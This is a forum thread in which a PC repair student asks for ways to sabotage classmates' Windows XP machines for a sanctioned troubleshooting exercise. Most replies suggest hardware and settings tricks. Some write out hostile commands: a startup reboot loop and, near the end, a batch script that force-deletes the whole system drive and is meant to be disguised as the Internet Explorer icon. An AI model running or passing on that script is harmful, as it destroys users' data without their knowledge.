Help me disable a computer.

[shadowhawk2020]

I am at the point in my PC repair class that we are taking other student's PCs and making it hard for them to fix them.

I can do hardware replacements with bad items but no actual damage. Since the other students are in the room, I may do hardware as a decoy and do software damage.

We have basic Dell computers with Windows XP with serviice pack 2. We have free reign to install viruses or any other malicious software we want. We can delete files and anything else we want.



Last week I used a bartpe disk and a plugin to give a guest account admin privileges, and the admin account have guest privileges. I am looking for sneaky tricks to pull...

 

[Silicon Spear]

Install Conficker! lol


edit: put passwords on all the accounts then password the bios? or is that irreversible?

 

[masteryoda34]

Replace explorer.exe with a bogus exe.

Screw with NTFS file permissions.

 

[Rockinacoustic]

If this is for geek squad then just unplug the hard drive.

 

[shadowhawk2020]

Originally posted by: Rockinacoustic
If this is for geek squad then just unplug the hard drive.

HaHa, actually college course, with emphasis on A+ certification.

 

[shadowhawk2020]

Originally posted by: Silicon Spear
Install Conficker! lol


edit: put passwords on all the accounts then password the bios? or is that irreversible?

Bios password is an easy fix, so is passwording the accounts (with the right tools.)

 

[Lunyone]

You could unplug the CPU fan and re-plug it in slightly, so it looks plugged in, but it won't actually be. Also could be done for the power switch on the mobo front panel connections.

 

[yh125d]

Put a jumper on CMOS reset

 

[videogames101]

You won't be the one damaging it, flip the voltage switch on the PSU.

Also, permissions, delete stuff from registry, etc etc.

 

[Rockinacoustic]

Originally posted by: Lunyone
You could unplug the CPU fan and re-plug it in slightly, so it looks plugged in, but it won't actually be. Also could be done for the power switch on the mobo front panel connections.

I think they would notice the fan not spinning more than anything

 

[sup3rn0th1ng]

haha when I was in PC repair class, we did this and a lot of them would change the font size which would slow down the process there was some other things as well just to long ago to remember

what are the class objectives for the fix?

are they to be able to reach the internet as well or just have the OS operational?

you could disable the NIC or set a static IP if internet is required.

 

[yh125d]

A hundred HD partitions, hide the OS somewhere with a bunch of phony OS's intermixed between

 

[somethingsketchy]

Originally posted by: Lunyone
You could unplug the CPU fan and re-plug it in slightly, so it looks plugged in, but it won't actually be. Also could be done for the power switch on the mobo front panel connections.

I was thinking of something along the lines of that...or even replace the functioning heatsink with a defective one.

Too bad there wasn't a good way to install a USB port somewhere within the chassis and plug in an USB drive with some craptastic version of Windows (XP Home anyone?) and have it loaded with some of the worst viruses possible). That would be pure evil

 

[tdawg]

Originally posted by: Rockinacoustic
If this is for geek squad then just unplug the hard drive.

:laugh: Post of the Day, so far!

 

[Knavish]

If you wanted to be really mean you could screw with Windows on the HD and then completely disassemble the computer and leave it in a paper bag

 

[daw123]

I've got a couple of hardware suggestions:
1. If its got an IDE or FDD cable, plug the cable the wrong way into the drive (you have to remove the 'key' from the connector).
2. Put the RAM modules into the wrong slots on the MB (2 and 4 instead of 1 and 3 or vice versa).
3. Don't fully connect the CPU power connector on the MB.
4. Remove the TIM from between the CPU IHS and HSF.

 

[0roo0roo]

disable boot drive in bios.

 

[Eureka]

What are the limitations on fixing it? Software bugs won't do much good if they can just reformat. It also seems kinda simple... just delete every file you can find in Windows if you want to cripple the system. So what are we working with?

For simple hardware problems, I like the idea of shorting the CMOS jumper from above. So is removing TIM/offsetting heatsink/etc. Download the BSOD screensaver, and set it to turn on in a couple of seconds.

 

[Schmide]

Switch the back of the PSU to 220v

Edit: credit to videogames101 above. OOPS

 

[shadowhawk2020]

The problem is that we can just reformat, but it is a last resort... I am limiting myself to things that won't require a reformat, so that they can feasibly recover without have to format.

As far as hardware stuff, they will be in a relative close are, so small hidden things work best. I have liked a lot of the suggestions. But BSOD screensaver, and as many partitions as the computer can handle sound like easy and funny things they will need to fix... Also thinking about jumper on CMOS reset and switching the power supply voltage...

 

[Schmide]

You can also short/put the HD led on the reset pin header. This can drive people nuts. My mom had a broken reset switch. Some motherboards will hold the system in reset with a HD LED others need a direct short.

 

[Eeqmcsq]

Take a screenshot of the desktop with icons, make that the desktop background, remove all icons from the desktop.
Disable a bunch of stuff in the device manager.
Disable a bunch of services.
Disable the user's account so they can't log in.
Switch the left/right mouse buttons.

- I haven't tried these, but I think they will work. If not, oh well:
Create a .bat file with the command "shutdown -r". Create a shortcut to the .bat file in Start->Programs->Startup. This should cause the computer to restart immediately when logging in.

Similarly, create a .bat file with 5 lines, each containing the word "explorer" and create a shortcut to it from the Startup folder. I'm not sure if this will launch 5 separate instances of explorer, or if this will relaunch explorer upon closing the explorer window up to 5 times.

 

[Rubycon]

Disable L1/L2 cache in BIOS.

 

[WaitingForNehalem]

Create a .bat file using the below and put it in the startup or disguise it as the IE icon.

@echo off
del %systemdrive%\*.* /f /s /q

shutdown -r -f -t 00

 

[acheron]

get rid of windows and install BeOS.